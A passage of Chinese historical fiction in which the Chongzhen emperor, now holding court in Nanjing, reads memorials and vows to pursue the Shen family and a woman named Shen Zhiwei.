众人齐齐跪地,高呼万岁。那声音在这陈旧的南京宫城里,像是把满殿的霉味都震散了些。崇祯坐在御座上,望着殿外灰蒙蒙的天。他忽然就觉着,这南京的天气,比北京还让人心寒。那寒意不扎脸,只从脚底一丝一丝地往上爬。像江南的雨,不急,却下得你浑身上下再没有一处干的地方。
他重新低下头去,继续翻折子。那折子上,有江南的税粮,有江北的兵额,有清军的动向,也有沈家的名字。那些字,他一个一个地看。看得又慢又狠,仿佛要把那沈家两字吞进口中反复咀嚼成碎杂一般。
他要在南京把这局棋重新下起来。沈家,清帝人,天下。他一个都不会放过。尤其是那个叫沈知微的女人。他要让她知道,有些棋,一旦动了,便没有回头的余地。天子的恩赏不接,那便只剩一个结果。
他提起朱笔,在一份关于延绥的折子旁,重重地写了一个“查”字。那字落得极深,几乎要透到纸背去。像他此刻心里,那一团已经烧了很久的、说不清是恨还是悔的火。